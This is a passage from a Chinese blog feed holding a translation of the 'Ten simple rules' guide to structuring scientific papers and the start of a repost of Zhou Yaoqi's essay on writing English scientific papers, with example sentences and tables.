而作者们却总是再三根据自己的叙述习惯行文。作为科学家的我们在日常生活里，绝大部分的时间在生产“内容”，其余的事只占了少部分的时间。我们做实验，读文献，并将实验结果的解读串联。自然而然地我们想顺序式地将我们的成果在一篇文章中记录下来。然而，读者却并不关心你按时间顺序得到的结果，只关心最终的结论和支持结论的逻辑（见原则7）。因此，我们做的所有工作在汇成文字时都必须重新编排，提供一个能让实验结果（内容）明了的背景，以及有助于读者理解和记忆的结论。</p><h3 id="原则4：完善你的逻辑流-避免绕弯，使用排比"><a href="#原则4：完善你的逻辑流-避免绕弯，使用排比" class="headerlink" title="原则4：完善你的逻辑流-避免绕弯，使用排比"></a>原则4：完善你的逻辑流-避免绕弯，使用排比</h3><p><strong>避免绕弯</strong>只有中心思想可以在文章中被多次提及。另外，每个主题只能在一个地方出现，从而减少主题的变更次数。相关的句子和段落应该被紧紧地串联在一起，而不是被无关的材料所打断。相似的概念应连续地出现，比如当我们列举为何我们相信某事的时候，两个原因应当一个紧接一个出现。</p><p><strong>使用排比</strong>类似的,在连续的段落和句子之间，平行的信息应该使用排比的方式传递。排比是读者熟悉的结构，因此可以使句子更易读懂。比如，如果有三个独立的理由来解释我们更倾向于某个实验结果，则使用同一种句法对理由进行排比可以使信息通透，进而使读者更加专注于这些信息的内容。在段落或者句子里多次使用同一个词并没有什么错。避免使用不同的词描述同一概念–因为这么做会让读者困惑不同的词是否在表达不同的意思。</p><h2 id="论文的内容（原则5-8）"><a href="#论文的内容（原则5-8）" class="headerlink" title="论文的内容（原则5-8）"></a>论文的内容（原则5-8）</h2><p>论文的摘要，引言，结果，讨论部分都有各自不同的目标，因此在实现这些目标的时候，使用“背景-内容-结论”这一结构会有略微的不同。我们会在这个章节讨论这些具体的结构，并且总结在（图1）中。</p><h3 id="原则5：在摘要部分讲一个完整的故事"><a href="#原则5：在摘要部分讲一个完整的故事" class="headerlink" title="原则5：在摘要部分讲一个完整的故事"></a>原则5：在摘要部分讲一个完整的故事</h3><p>摘要对于大部分读者来说，是一篇文章中唯一会被读的部分。这意味着摘要必须有效地传达全篇文章的信息。为了实现这个目标，摘要的结构应该是高度保守的。每一个背景-内容-结论的部分细分如下：</p><p>背景部分必须传递给读者论文所要填补的学术空白。摘要首句通过介绍科学研究所处的大背景来引领读者。接着内容部分逐渐具体到研究想要回答的科学问题。一个成功的摘要内容应指出已发表文献中所缺失的部分（例如，一个学术空白）及其重要性（例如,论文开篇的背景和论文所要填补的学术空白之间的联系），从而为突出论文的科学贡献做好铺垫。</p><p>内容部分首先描述用于填补学术空白或回答某个科学问题所使用的创新性的方法或步骤。然后表达内容部分的核心，即实验结果的小结。</p><p>最后，在摘要的结尾部分，用结论表示实验结果回答在背景部分提出的科学问题。通常，结论处还有第二个部分用以突出这个结论如何推动更广泛的科学领域向前发展（在其他科学领域的重要性）。这尤其适用于覆盖多个主题，拥有更广泛读者群的杂志。</p><p>这种结构将帮助你避免摘要写作中最常见的错误，即在读者没有头绪的情况下讨论实验结果。好的摘要通常需要多次精修来确认实验结果的确填补了学术空白，就像钥匙和锁的契合关系。这种广泛-具体-广泛（沙漏型）的结构可以让读者轻松地阅读，不仅能使你于更大的读者群有效沟通，还能保持你科学结论的可信度（可信度总是基于有限或紧凑的实验结果）。</p><h3 id="原则6：在引言里介绍论文的重要性"><a href="#原则6：在引言里介绍论文的重要性" class="headerlink" title="原则6：在引言里介绍论文的重要性"></a>原则6：在引言里介绍论文的重要性</h3><p>引言应该重点强调现有知识或方法的空白，以及填补这个空白的重要性。这通常可以通过几个段落对现有文献中的空白进行清晰渐进地阐述，然后通过一个段落总结此篇论文将如何填补这个空白。</p><p>举个递进地阐述学术空白的例子:第一段可以解释为何理解细胞分化是一个重要的课题，然而此领域却不知道细胞分化是如何被触发的（学术领域的空白）。第二段可以举例说明某种细胞，比如星形胶质细胞的分化有哪些方面是未知的（子学术领域的空白）。第三段则提出解决问题的线索：某一个基因可能驱动了星形胶质细胞的分化，然而这个假设却尚未被验证（你在子学术领域将要填补的空白）。陈述空白的作用是让读者对论文将要传递的内容有个预判。</p><p>引言的每一个段落（最后一段除外）的构建均为提出学术空白这一目标而服务。每段首先把读者定位到主题（使用一到两个句子介绍背景），然后解释相应文献中的“已知点”（内容），最后是提出最关键的、赋予论文意义的“未知点”（结论）。在行文中，通常存在隐藏于学术空白背后的神秘线索，这些线索指向了未被证明的假设或未被开发的方法，并给予读者解决学术空白的希望。引言不应该包含和论文所要解决的问题不相关的文献。这种专注于学术空白的论文构建方式使有经验的读者更容易预估这篇论文的重要性-他们仅需要评估所陈述学术空白的重要性。</p><p>引言的最后一段相对特殊：它需要简洁地总结填补了你提出的领域空白的实验结果。引言最后一段和摘要在如下几点有所区别：引言最后一段不需要陈述背景（已经在引言的行文中提出）而更应突出结果；如果可能的话，引言仅需简单地描述论文的结论。</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20211228190956.jpeg" alt="图1.论文构建的元素小结：章节，段落间和段落内的构建要点。"></p><h3 id="原则7：实验结果按序论述，以图为据，由逻辑贯穿、支持论文的核心贡献"><a href="#原则7：实验结果按序论述，以图为据，由逻辑贯穿、支持论文的核心贡献" class="headerlink" title="原则7：实验结果按序论述，以图为据，由逻辑贯穿、支持论文的核心贡献"></a>原则7：实验结果按序论述，以图为据，由逻辑贯穿、支持论文的核心贡献</h3><p>实验结果部分需要说服读者论文的核心论点是有数据和逻辑支持的。每个科学论证有其特有的逻辑结构，这决定了行文时论据应出现的顺序。例如，一篇论文提出了一个假说，证实了研究中使用的测量方法有效后，继而使用此测量方法驳回了论文的假说。或者，一篇论文提出了多个假说（且互相排斥），然后证明除了某个假说外，其余假说均不能解释实验结果。论证的构建应该包含用于支持总的逻辑的对照和方法。</p><p>在起始框架论文的阶段（见原则9），列出实验结果将如何支持你论点的逻辑纲要，然后每一条纲要转换成描述性的句子，作为每个子结果部分的小标题（和&#x2F;或图的标题）。</p><p>大部分杂志允许这种构文方式，即使你选择的杂志不允许，这些小标题在写作的过程中也仍可发挥作用。小标题可以修改后成为段落的引导句，或者在论文提交之前删除。这种清晰的、有逻辑性的逐步行文的方式有助于论文被读懂。</p><p>图，标题和图例尤其重要，因为它们为逐步论证论点提供了最客观的支持（数据）。更重要的是，许多读者经常为了节省时间略过摘要直接读图。因此，图的标题应该向读者传达分析后的结论，而图例则是说明分析是如何完成的。作图本身是一种艺术创作；EdwardTufte的书包含了学习作图艺术的黄金标准7,8。</p><p>实验结果部分的第一段比较特别，通常应当概括引言所提出的问题的解决方法，以及任何的关键创新方法。由于大部分读者不会阅读方法部分，所以这个段落需要让他们了解本文方法的要点。</p><p>实验结果部分接下来的每一段起始都应用一到两个句子铺垫本段要回答的问题。比如，“为了证实没有干扰因素的影响,…”,“我们测量方法可重复性的可靠程度？”或者“我们接下来验证钙离子流是否有L型钙离子通道泵的参与。”段落中间部分则围绕需要解决的问题，提出支持数据和逻辑分析，段落最后则通过一句话回答该问题来结尾。比如，之前的例子可以总结为并没有检测到潜在的干扰因素。此结构将有利于经验丰富的读者快速核查论文。各段通过在最后一句给出答案的方式使读者信服。这也会为读者找出缺乏说服力的结论并核查相应段落的逻辑提供便利。在实验结果部分，每段都是一个逻辑声明，并且每个段落的文字叙述都基于前面段落的逻辑结论，就好像数学定理是建立在精确的数学推导之上。</p><h3 id="原则8：讨论如何填补学术空白，解释论文的局限性以及与该学术领域的相关性"><a href="#原则8：讨论如何填补学术空白，解释论文的局限性以及与该学术领域的相关性" class="headerlink" title="原则8：讨论如何填补学术空白，解释论文的局限性以及与该学术领域的相关性"></a>原则8：讨论如何填补学术空白，解释论文的局限性以及与该学术领域的相关性</h3><p>讨论部分应当解释实验结果如何填补了引言中提到的学术空白，并提示如此解释有何种局限，同时描述论文如何为推动相关的学术领域提供了新机遇。通常可以对实验结果进行重新概括，并讨论结果的局限性，然后揭示本文的核心贡献将如何推动未来的进步。讨论部分的第一段比较特别，它应当高度概括结果部分的重要发现。有些读者跳过了一些重要结果，所以这段的内容至少可以让读者了解这些结果的要点。</p><p>讨论部分接下来的每一段应当从描述论文某一部分的优势和不足开始。然后通过结合文献评估这些优势和不足。讨论的结尾通常以一种巧妙的，非正式的方式来使读者领会论文的科学贡献，或者通过讨论未来科研方向来衍伸论文的科学贡献。</p><p>比如，第一段可以重点概括实验结果的意义。第二段到第四段可以讨论论文存在的潜在不足，通过引用文献给这种不足提供合理的解释，或者描述未来可以通过何种实验来弥补本文的不足。第五段可以总结升华地描述本文如何推动科学领域的发展。如此一步一步递进，读者便可以在正确的背景上理解论文的结论了。</p><h2 id="写作流程（原则9和10）"><a href="#写作流程（原则9和10）" class="headerlink" title="写作流程（原则9和10）"></a>写作流程（原则9和10）</h2><p>为了写一篇好论文，作者可以采用辅助性的写作流程和写作习惯。根据论文不同部分的权重来调整你相应投入的写作时间，从而使最多的写作时间投入到权重最高的部分。此外，不断参考同行的反馈意见可以在各个方面大幅度提高论文的质量。选择合适的写作流程可使写作更加容易和高效。</p><h3 id="原则9：将时间重点分配在在标题，摘要，图和框架上"><a href="#原则9：将时间重点分配在在标题，摘要，图和框架上" class="headerlink" title="原则9：将时间重点分配在在标题，摘要，图和框架上"></a>原则9：将时间重点分配在在标题，摘要，图和框架上</h3><p>每个科学论点的核心逻辑是最重要的。核心逻辑同时也是连接实验阶段到论文写作阶段的桥梁。因此，逐步将正在进行的实验逻辑规范化（例如，开实验室例会时的总结）对形成论文最终的大纲很有帮助。</p><p>同时，你也应按照论文各个部分的重要性安排时间。根据标题，摘要和图相对于文章其他部分会被更多人读到，然而方法部分是最少被读到的规律相应地分配写作时间。</p><p>为了高效分配在论文各个部分的写作时间，我们可以在真正动笔前列一个大纲。往往我们喜欢在动笔写某个段落前写一个非正式的句子。若这些句子描述的是相应的实验结果，则通常可能成为结果部分的小标题来推动故事的发展。因为故事有一个总体的框架，所以文中每个段落都应对故事的发展起到专属的作用。这些段落的作用在列大纲的过程中得到了极好的审查，进而（帮助作者在未来的写作过程中）缩短在冗长又无法为故事发展起作用的段落上浪费的时间。</p><p><strong>表****1.十个原则的小结及违反这些原则的指征</strong></p><table><thead><tr><th><strong>原则</strong></th><th><strong>违反的指征</strong></th></tr></thead><tbody><tr><td>专注于一个主要的科学论点</td><td>读者无法给出一句话总结。</td></tr><tr><td>写外行能懂的文章</td><td>读者没有领悟文章的主旨。</td></tr><tr><td>使用背景，内容，结论的写作结构</td><td>读者质疑为何某事项重要或无法理解某事项。</td></tr><tr><td>优化逻辑流程</td><td>读者因一小段内容踟蹰不前。</td></tr><tr><td>摘要：论文浓缩的概括</td><td>读者读完文章后无法“电梯游说”。</td></tr><tr><td>引言：为什么这篇论文重要</td><td>读者不感兴趣。</td></tr><tr><td>结果：为什么结论合理</td><td>读者不认同你的结论。</td></tr><tr><td>讨论：抢占批评的先机，提出对未来科学的影响</td><td>读者心中存留尚未被回答的质疑和&#x2F;或问题。</td></tr><tr><td>合理分配时间</td><td>读者费力地理解文章的核心贡献，即使你已经尽力。</td></tr><tr><td>优化你的故事</td><td>论文所陈述的科学贡献被受试读者，编辑和审稿人否定。</td></tr></tbody></table><h3 id="原则10：收集反馈意见将故事精简，再利用和再循环"><a href="#原则10：收集反馈意见将故事精简，再利用和再循环" class="headerlink" title="原则10：收集反馈意见将故事精简，再利用和再循环"></a>原则10：收集反馈意见将故事精简，再利用和再循环</h3><p>写作可以被看做是一个流程最优化的过程，你需要同时优化故事，提纲和文章包含的所有句子。在这个情境下，避免过分纠结于你已写完的内容至关重要。很多情况下，完全抛弃整段重写反而比在原文基础上修改更快，更好。</p><p>有许多迹象可以表明进一步修改论文原稿是否必要（见表格1）。例如，若连身为作者的你都无法在几分钟内向同行描述论文的梗概，那么显然你的读者更不能胜任。这也意味着你得进一步精炼你的故事。找到这些成为优质文章的违和点有助于提高处于各个水平论文的质量。</p><p>成功地撰写一篇论文通常需要多人的反馈。征询读者的意见是确保整个故事优化的必要途径。读者可以提供宝贵的意见，告诉你故事在何处发展地太快或太慢。他们也可以清楚地告诉你何时需要返回重修大纲，重述整个故事。审稿人的反馈也极其有帮助。含糊的反馈和缺乏热情的回复通常暗示审稿人没真正读懂故事的主线。非常具体的反馈则通常指出段落里逻辑不严密的地方。积极地接受这种反馈非常重要。正因这种接受他人反馈的重要性，一个能积极帮助你的同事圈可以使你的文章被更多人熟记于心。当然为了维系这个同事圈，你可以通过审阅他们的文章来确保回报。</p><h2 id="讨论"><a href="#讨论" class="headerlink" title="讨论"></a>讨论</h2><p>本文论述的重点是论文的结构，或者说是对论文进行了“解剖”。因此，我们不得不省略了很多更细微的写作细节，比如文字选择、语法、写作的创造过程以及多方合作。一篇论述科研写作的论文很难覆盖所有的内容，因此存在着庞大的文献数据库，涉及到科研写作的方方面面[9,10,11,12,13,14,15,16,17]。</p><p>充满个性的写作方式通常会让作者从死板、保守的结构中脱离开来；同时也可能因创新性地颠覆常规使读者眼前一亮。然而就像生活中的其他事情一样，熟知、掌握统一的标准规则也是成功颠覆这些规则的基础[18]。通过遵循本文列出的指导方针（十条论文构建原则），科学家们可以与更广的读者群进行沟通，促进学科间的交流，以及更高效地实现学术整合。</p><p>注：第一作者BrettMensh为资深科学论文写作顾问。他已帮助多达50名的科学家将科研成果发表于科学界顶级杂志。若需科学论文的修改及润色服务（含双语），请邮箱联系他<a href="mailto:&#x62;&#109;&#x65;&#110;&#x73;&#104;&#64;&#x6f;&#112;&#x74;&#105;&#109;&#105;&#x7a;&#101;&#115;&#99;&#105;&#101;&#x6e;&#x63;&#x65;&#46;&#x63;&#111;&#109;">&#x62;&#109;&#x65;&#110;&#x73;&#104;&#64;&#x6f;&#112;&#x74;&#105;&#109;&#105;&#x7a;&#101;&#115;&#99;&#105;&#101;&#x6e;&#x63;&#x65;&#46;&#x63;&#111;&#109;</a></p><h2 id="参考文献"><a href="#参考文献" class="headerlink" title="参考文献"></a>参考文献</h2><p>**1.**HirschJE(2005)Anindextoquantifyanindividual’sscientificresearchoutput.ProcNatlAcadSciUSA.102:16569±16572.<a href="https://doi.org/10.1073/pnas.0507655102PMID:16275915">https://doi.org/10.1073/pnas.0507655102PMID:16275915</a></p><p>**2.**AcunaDE,AllesinaS,KordingKP(2012)Futureimpact:Predictingscientificsuccess.Nature.489:201±202.<a href="https://doi.org/10.1038/489201aPMID:22972278">https://doi.org/10.1038/489201aPMID:22972278</a></p><p>**3.**PaivaCE,LimaJPSN,PaivaBSR(2012)Articleswithshorttitlesdescribingtheresultsarecitedmoreoften.Clinics.67:509±513.<a href="https://doi.org/10.6061/clinics/2012(05)17PMID:22666797">https://doi.org/10.6061/clinics/2012(05)17PMID:22666797</a></p><p>**4.**CarterM(2012)DesigningSciencePresentations:AVisualGuidetoFigures,Papers,Slides,Posters,andMore:AcademicPress.</p><p>**5.**MurdockBBJr(1968)Serialordereffectsinshort-termmemory.JExpPsychol.76:Suppl:1±15.</p><p>**6.**SchimelJ(2012)Writingscience:howtowritepapersthatgetcitedandproposalsthatgetfunded.USA:OUP.</p><p>**7.**TufteER(1990)Envisioninginformation.GraphicsPress.</p><p>**8.**TufteERTheVisualDisplayofQuantitativeInformation.GraphicsPress.</p><p>**9.**LisbergerSG(2011)FromSciencetoCitation:HowtoPublishaSuccessfulScientificPaper.StephenLisberger.</p><p>**10.**SimonsD(2012)Dan’swritingandrevisingguide.<a href="http://www.dansimons.com/resources/Simons_on_writing.pdfcited2017Sep9">http://www.dansimons.com/resources/Simons_on_writing.pdfcited2017Sep9</a>.</p><p>**11.**SørensenC(1994)ThisisNotanArticleÐJustSomeThoughtsonHowtoWriteOne.SyoÈte,Finland:OuluUniversity,46±59.</p><p>**12.**DayR(1988)Howtowriteandpublishascientificpaper.Phoenix:Oryx.</p><p>**13.**LesterJD,LesterJ(1967)Writingresearchpapers.Scott,Foresman.</p><p>**14.**DumontJ-L(2009)Trees,Maps,andTheorems.Principiae.<a href="http://www.treesmapsandtheorems.com/cited2017Sep9">http://www.treesmapsandtheorems.com/cited2017Sep9</a>.</p><p>**15.**PinkerS(2014)TheSenseofStyle:TheThinkingPerson’sGuidetoWritinginthe21stCentury.VikingAdult.</p><p>**16.**BernD(1987)Writingtheempiricaljournal.Thecompleatacademic:Apracticalguideforthebeginningsocialscientist.171.</p><p>**17.**GeorgeGD,SwanJA(1990)Thescienceofscientificwriting.AmSci.78:550±558.</p><p>**18.**StrunkW(2007)Theelementsofstyle.Penguin.</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;论文构建简单十则&quot;&gt;&lt;a href=&quot;#论文构建简单十则&quot; class=&quot;headerlink&quot; title=&quot;论文构建简单十则&quot;&gt;&lt;/a&gt;论文构建简单十则&lt;/h1&gt;&lt;p&gt;作者：Brett Mensh*,Konrad Kording &lt;/p&gt;
&lt;p&gt;翻译：Huan</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="论文写作" scheme="https://sandship.fun/tags/%E8%AE%BA%E6%96%87%E5%86%99%E4%BD%9C/"/>
    
  </entry>
  
  <entry>
    <title>【好文分享】写好英语科技论文的诀窍</title>
    <link href="https://sandship.fun/post/bd5c.html"/>
    <id>https://sandship.fun/post/bd5c.html</id>
    <published>2021-09-08T12:47:23.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>这是我二导推荐地一篇文章，由于网上的版本观感并不好，故自己动手排版整理，分享给大家</p></blockquote><blockquote><p>周耀旗 </p><p>印地安那大学信息学院</p><p>印地安那大学医学院计算生物学和生物信息中心</p><p>以此文献给母校中国科技大学五十周年校庆</p></blockquote><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>我的第一篇英语科技论文写作是把在科大的学士毕业论文翻译成英文。当我一九九零年从纽约州立大学博士毕业时，发表了 20 多篇英语论文。 但是，我对怎样写高质量科技论文的理解仍旧处于初级阶段，仅知道尽量减少语法错误。这是因为大多数时间我都欣然接受我的博士指导老师 Dr. George Stell 和 Dr. Harold Friedman 的修改，而不知道为什么要那样改，也没有主动去问。这种情况一直持续到我去北卡州立大学做博士后。我的博士后指导老师 Dr. Carol Hall 建议我到邻近的杜克大学去参加一个为期两天的写作短训班。这堂由 Gopen 教授主办的短训班真使我茅塞顿开。第一次，我知道了读者在阅读中有他们的期望，要想写好科技论文，最有效的方法是要迎合他们的期望。这堂写作课帮我成功地完成了我的第一个博士后基金申请，有机会进入哈佛大学 Dr. MartinKarplus 组。在哈佛大学的五年期间，在 Karplus 教授的指导下，我认识到一篇好的论文需要从深度广度进行里里外外自我审查。目前，我自己当了教授，有了自己的科研组，也常常审稿。我觉得有必要让我的博士生和博士后学好写作。 我不认为我自己是写作专家。我的论文也常常因为这样或那样的原因被退稿。但是我认为和大家共享我对写作的理解和我写作的经验教训，也许大家会少走一些我走过的弯路。由于多年未用中文写作，请大家多多指正。来信请寄：<a href="mailto:yqzhou@iupui.edu">yqzhou@iupui.edu</a> 。 欢迎访问我的网站：<a href="http://sparks.informatics.iupui.edu/">http://sparks.informatics.iupui.edu</a> 。</p><h2 id="导言"><a href="#导言" class="headerlink" title="导言"></a>导言</h2><p>通常来讲，研究生和博士后从他的导师那儿得到研究方向。经过多次反复试验，得到一些好的结果。接下来他们需要对得到的数据进行总结和分析，写成论文。一篇精写的论文更容易被高档杂志接受。而写得不好的论文很可能被退稿。论文的数量和质量是学生和导师事业发展的敲门砖。不成文，便成仁，是学术生涯的写照。 </p><p>很多学生以为当结果到手的时候研究就结束了。他们写的草稿，常常把原始数据放在一起，没有对方法和数据进行详细分析，没有对当今论文的评述。事实上，写作是研究不可分割的一部分。此刻是弄懂方法的成功与失败，寻找结果的解释及其隐含的意义，以及与其他相关研究进行比较的时候。 </p><p>我们为什么需要在写作上如此认真努力？原因很简单。一个研究结果只有在被别人使用时才有意义。而想被别人使用，文章必须能引起其他科学家的兴趣，而且得保证其他人能看懂并可以重复和再现你的结果。只有可以被理解的研究才会被重复，也只有可以被再现的工作才能导致别人的引用和跟踪。而你的论文被引用的数量常常用来衡量研究的影响力。从某种角度看，写作就像是把你的工作成果推销给其他的科学家。  </p><p>为了更好的推销，科学论文必须满足它独特的顾客：由聪明能干的科学家组成的尖端读者。它必须能先说服（通常也是竞争对手的）同行们，因为他们的评审是文章在发表前的第一道关口。同时，它也必须满足一般读者的要求。为了达到这个目标，我们首先要理解他们需要什么？  </p><h3 id="读者需要什么？"><a href="#读者需要什么？" class="headerlink" title="读者需要什么？"></a>读者需要什么？</h3><p>你的文章的潜在读者可能有刚进入这领域的新手：大学生和研究生，也有专家（潜在审稿人)。他们对你的领域会有不同程度的了解。因此，写文章的时候应该力求简单到可以被新手理解，同时深刻到可以引起专家的兴趣。  </p><p>所有的科学家（不论是学生还是他们的导师) 往往都很忙。大量期刊杂志使他们不可能仔细阅读每一篇论文。他们通常希望能在最短时间内找到文章最重要的信息。典型的情况是如果文章标题不吸引人，他们或许就会跳过这篇论文。如果文章的摘要没有包含重要的新方法或新结果，他们不会去读这篇文章。即使已经决定要读的论文，他们也会跳过很多段落直接去找自己最感兴趣的地方。因此，保证文章的结构能使读者很快找到所需的信息非常重要。文章的关键在于结构，不在于语法。语法错误易改，结构错误则往往让人无从下手，不知所云。我审过一些国内同行的论文，结构问题很常见。  </p><p>总之，一篇文章只有在不需太多努力就可以理解的情况下才会被广泛地引用。文章清晰的关键就是使读者能在他们想找的地方找到他们需要的东西。这也就是说，要想让读者不费力理解你的论文，你必须费力去满足他们的期望。读者期望什么？</p><h4 id="读者对句子的期望"><a href="#读者对句子的期望" class="headerlink" title="读者对句子的期望"></a>读者对句子的期望</h4><ol><li><p>读者希望在句子的开始看到熟悉的信息。句子是文章的最小功能单元。最容易理解的句子是整句都在说读者知道的东西。但这对科技论文是不可能的，因为只有新的东西才会被发表。事实上科技论文通常会包含很多新术语，所以一个容易理解的句子应该从读者熟悉的信息（或刚刚提过的）开始而以新信息结束，并在它们之间平滑地过渡。好文章的所有句子都应该这样从旧到新地平滑过渡。写好一句开头的金科玉律是问问你自己：“我以前有没有提过这个概念？” 大多数文章很难读是因为很多新概念在没有被介绍之前就使用了。例如：  </p><p>Samples for the 2-dimensional projection of kinetic trajectories are shown in Figure 7. The coil states are loosely gathered while the native states can form a black cluster with extremely high density in the 2-dimensional projection plane.   </p><p>这里从第一句到第二句信息无法流动。“The coil states” 不知道是从何而来的。读者会发现下面改动后的句子更容易明白。  </p><p>Kinetic trajectories are projected onto xx and yy variables in Figure 7. This figure shows two populated states. One corresponds to loosely gathered coil states while the other is the native state with a higher density.   </p><p>在这个新段里，新插入的第二句使每句均能从旧信息出发到新信息结束。第一句与第二句之间以 “Figure” 相连而第二句与第三句之间以 “two states” 相连。而新信息 “coil states” 则出现在第三句的最后。整段环环相连，成为一个整体。再看一个例子：  </p><p>The accuracy of the model structures is given by TM-score. In case of a perfect match to the experimental structure,  TM-score would be 1.   </p><p>在第二个句子里，旧信息 “TM-score” 被埋在中间，被新信息 “a perfect match toexperimental structure” 打断了。这里建议修改如下： </p><p>The accuracy of the model structures is measured by TM-score, which is equal to 1 if there is a perfect match to the experimental structure.  </p><p>科技写作中的最大问题就是新旧信息顺序颠倒。新信息和旧信息对作者来说可能不是很好区分，因为他非常熟悉所有的信息。 为了避免这种问题，不管什么时候，每当你开始写新句，你应该问问自己，这些词前面有没有被提到过。一定要把提到过的放前面，没提过的放后面。  </p></li><li><p>读者想在主语之后立刻看到行为动词。对一个说明谁在做什么的句子，读者需要找到动词才能理解。如果动词和主语之间相隔太远，阅读就会被寻找动词打断。而打断阅读就会使句子难以理解。这里有个例子：[1]  </p><p>The smallest URFs (URFA6L), a 207-nucleotide (nt) reading frame overlapping out of phase the NH2-terminal portion of the adenosinetrip hosphatase (ATPase) subinit 6 gene has been identified as the animal equivalent of the recently discovered yeast H+-ATPase subunit 8 gene.   </p><p>同样的句子，将动词放在主语之后：[1]   </p><p>The smallest of the URFs is URFA6L, a 207-nucleotide (nt) reading frame overlapping out of phase the NH2-terminal portion of the adenosinetriphosphatase (ATPase) subinit 6 Gene; it has been identified as the animal equivalent of the recently discovered yeast H+-ATPase subunit 8 gene.   </p><p>这样新的句子就更加平衡了。尽量避免过长的主语和过短的宾语。这就像头重脚轻的人很难站稳。短的主语紧跟着动词加上长的宾语效果会更好。   </p></li><li><p>读者期望每句只有一个重点，这个重点通常在句尾。比较下面两个句子，我们可以感觉到他们着重强调不同的东西。[1]</p><p>FA6L has been identified as the animal equivalent of the recently discovered yeast H+-ATPase subunit 8 gene.   Recently discovered yeast H+-ATPase subunit 8 gene has a corresponding animal equivalent gene URFA6L.</p><p>很明显，前面的句子是关于一个最近发现的酵母基因，而第二句则着重强调了它有一个和动物一致的基因。另外一个例子：[1] </p><p>The enthalpy of hydrogen bond formation between the nucleoside bases 2-deoxyguanosine (dG) and 2-deoxycytidine (dC) has been determined by direct measurement. </p><p>这个句子看起来好像是在强调 “direct measurement”。 这不太像是原作者的目的。颠倒一下会使句子更加平衡。[1]  </p><p>We have directly measured the enthalpy of hydrogen bond formation between the nucleoside bases 2-deoxyguanosine (dG) and 2-deoxycytidine (dC).  </p><p>新的句子更简单而且更短，同时避免了头重脚轻的症状。总之，句尾是读者对该句最后的印象。把最好的，最重要的，和想要读者记住的东西放在句尾。</p></li></ol><h4 id="读者对段落的期望"><a href="#读者对段落的期望" class="headerlink" title="读者对段落的期望"></a>读者对段落的期望</h4><p>每一个段落都应该只讲一个故事。在一段里表述多个观点会使读者很难知道该记住什么、这段想表达什么。一段的第一句要告诉读者这一段是讲什么的。这样读者想跳过这段就可以跳过。一段的最后一句应该是这段的结论或者告诉读者下一段是什么。段落中的句子应该由始到终通过逻辑关系连接，实现由旧信息到新信息的流动。比如这一段：[1] </p><p>The enthalpy of hydrogen bond formation between the nucleoside bases 2-deoxyguanosine (dG) and 2-deoxycytidine (dC) has been determined by direct measurement. dG and dC were derivatized at the 5 and 3 hydroxyls with triisopropylsilyl groups to obtain solubility of the nucleosides in non-aqueous solvents and to prevent the ribose hydroxyls from forming hydrogen bonds. From isoperibolic titration measurements, the enthalpy of dC:dG base pair formation is -6.650.32 kcal&#x2F;mol.   </p><p>很难知道作者在这段里想表达什么。从这段的起始和结束看来，焓 (enthalpy) 应该是他想表达的重点。下面是重新组合后的段落。[1]  </p><p>We have directly measured the enthalpy of hydrogen bond formation between the nucleoside bases 2-deoxyguanosine (dG) and 2-deoxycytidine (dC).dG and dC were derivatized at the 5 and 3 hydroxyls with triisopropylsilyl groups; these groups serve both to solubilize the nucleosides in non-aqueous solvents and to prevent the ribose hydroxyls from forming hydrogen bonds. The enthalpy of dC:dG base pair formation is -6.650.32 kcal&#x2F;mol according to isoperibolic titration measurements,   </p><p>首句描述了整段的主题。原段里的第一句颠倒是为了 1） 使新信息 “dG” 和“dC” 在句子最后并强调它们。 2）更好地跟下面一句衔接。原段里的第二句被分成两部分，这样每一部分只表达了一个观点。最后一句时总结整段。再看另一个例子：[1]  </p><p>Large earthquakes along a given fault segment do not occur at random intervals because it takes time to accumulate the strain energy for the rupture. The rates at which tectonic plates move and accumulate strain at their boundaries are approximately uniform. Therefore, in first approximation, one may expect that large ruptures of the same fault segment will occur at approximately constant time intervals. If subsequent main shocks have different amounts of slip across the fault, then the recurrence time may vary, and the basic idea of periodic main shocks must be modified.   </p><p>在这个例子里，前两句共同阐明了积累张力的速度（Rate Of Strain Accumulation)。然而，第一句里的旧信息并没有放在第二句的开始。读者读到第三句的时候通常就不明白这段到底要讲什么了。更清晰的描述应该如下：[1]   </p><p>Large earthquakes along a given fault segment do not occur at random intervals because it takes time to accumulate the strain energy for the rupture. The rates of strain accumulation at the boundaries of tectonic plates are approximately uniform. Therefore, nearly constant time intervals(at first approximation) would be expected between large ruptures of the same fault segment. [However?], the recurrence time may vary; the basic idea of periodic main shocks may need to be modified if subsequent main shocks have different amounts of slip across the fault.  </p><p>新段现在着重阐明了地震的发生频率。下划线标明了以前描述过的旧信息。很明显，新旧信息的连接是理解这段的关键。 从旧信息到新信息的流动是使读者轻松阅读的最佳方式。写文章的目的不是去测试读者的阅读能力，而是考验作者的表达能力。不能怪人没看懂，只能怪自己没写清楚。常常听到这样的抱怨：那审稿人连这都不懂! 审稿人也可以说：连这个也写不清楚。</p><p>读者对图表的期望一些没有耐心的读者会直接通过图表来判断一篇文章是否值得一读。怎样能使读者不需读正文就能理解图表是至关重要的。  </p><p>对于表来说，由于我们是从左向右阅读的，我们熟悉的信息应该出现在左边而新的信息出现在右边。例如，下面列出的表 1 和表 2 是仅仅调换了两列。比较一下那个表格更易理解。  </p><p>表1:[1]  </p><table><thead><tr><th>Temp (°C)</th><th>Time</th></tr></thead><tbody><tr><td>25</td><td>0</td></tr><tr><td>27</td><td>3</td></tr><tr><td>29</td><td>6</td></tr><tr><td>32</td><td>12</td></tr><tr><td>32</td><td>15</td></tr></tbody></table><p>表2:[2]</p><table><thead><tr><th>Time</th><th>Temp (°C)</th></tr></thead><tbody><tr><td>0</td><td>25</td></tr><tr><td>3</td><td>27</td></tr><tr><td>60</td><td>29</td></tr><tr><td>12</td><td>32</td></tr><tr><td>15</td><td>32</td></tr></tbody></table><p>显然因为我们更熟悉时间作为独立变量，表 2 就比表 1 容易读些。制表的另一条规则是把最好的留在最后。也就是最能使人感兴趣的结果应该放在最右边一列或在最后一行，因为这些地方是读者结束阅读并能留下印象的地方。下面的例子比较了各种方法的精度。 最后一行展示了现在得到的结果。</p><p>表3:</p><table><thead><tr><th>Benchmark</th><th>SALIGN</th><th>Lindahl</th><th>PROSPECTOR 3</th><th>LiveBench 